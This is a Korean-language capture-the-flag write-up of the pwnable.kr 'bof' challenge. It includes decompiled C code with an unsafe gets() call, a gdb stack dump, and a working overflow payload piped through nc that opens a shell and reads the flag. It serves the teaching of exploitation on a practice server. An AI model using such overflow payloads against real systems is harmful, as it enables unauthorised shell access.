Bof 보고서.
Pwnable.kr에 있는 bof문제를 풀어보았다.
일단 기본적인 c소스와 실행파일을 제공해주지만 나는 어셈블리어와 gdb사용법을 익히고 있기 때문에 gdb로 실행파일을 열어보았다. 일단 먼저 내가 핸드레이한 소스를 먼저 보겠다.

```
int func(int vc)
{
	char v2c[32];

	puts("overflow me : ");
	gets(v2c);
	if(vc == 0xcafebabe)
		system("/bin/sh");
	else
		puts("Nah..");
}

int main()
{
	func(0xdeadbeef);
	return 0;
}
```

기본적으로 소스를 보면 func에 있는 인자 0xdeadbeef와 0xcafebabe를 비교하여 같으면 system함수를 실행 시키게 되어있는데, 상식적으로는 func에 있는 인자를 바꿀 수가 없다. 그러나 우리는 상식의 밖의 일을 해서 system함수를 실행 시켜야 한다. 일단 func함수의 스택 프레임을 표로 나타내어 보면

v2c	char형 32바이트 공간
sfp	ebp가 저장된 공간
ret	Retun address
vc	0xdeadbeef

스택에 이렇게 쌓여있는데 스택공간은 저장을 하게 될경우 윗공간에서 아랫공간으로 저장이 된다.
여기서 버퍼오버플로우 기법을 이용하는데 v2c에 있는 공간을 다 사용하게 되면 vc공간에 있는 0xdeadbeef를 조작할 수 있게 된다. 말로는 이렇게 가능하다고 하는데 과연 가능할지 한번 해보도록 하겠다.
일단 기본적으로 vc와 cafebabe를 비교하는 구간에 breakpoint를 걸어두고 A를 임의로 넣고 0xdeadbeef를 0xcafebabe로 바꾸어 보겠다.

overflow me :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x56555654 in func ()
(gdb) x/32wx $esp

0xffffd180:	0xffffd19c	0xffffd224	0xf7f9c000	0x00001727
0xffffd190:	0xffffffff	0x0000002f	0xf7df7d74	0x41414141
0xffffd1a0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd1b0:	0x41414141	0x41414141	0x41414141	0x4940a400
0xffffd1c0:	0x00000001	0xf7f9c000	0xffffd1e8	0x5655569f
0xffffd1d0:	0xdeadbeef	0x56555250	0x565556b9	0x00000000
0xffffd1e0:	0x00000001	0xf7f9c000	0x00000000	0xf7e03536
0xffffd1f0:	0x00000001	0xffffd284	0xffffd28c	0x00000000

보기좋게 빨간색과 파란색으로 바꾸어 보았다. 위에 보이는 바와 같이 빨간색부터 v2c공간의 시작이고 파란색이 바로 우리가 바꾸어야되는 0xdeadbeef되시겠다. 그럼 말했던 바와 같이 A를 32개를 넣고 나서 0xdeadbeef를 바꾸어 보자. 단! 여기서 주의할 점은 내가 생각하기에는 2가지가 있는데 한가지는 인텔은 리틀엔디안기법을 사용하기때문에 리틀엔디안 기법으로 넣어야 한다 :) (리틀엔디안 기법이 속도가 더 빠르다고 한다)

(python2 -c 'print"A"*52 + "\xbe\xba\xfe\xca"' ; cat) | nc pwnable.kr 9000

ls
bof
bof.c
flag
log
super.pl
cat flag
daddy, I just pwned a buFFer :)
풀었습니다 :)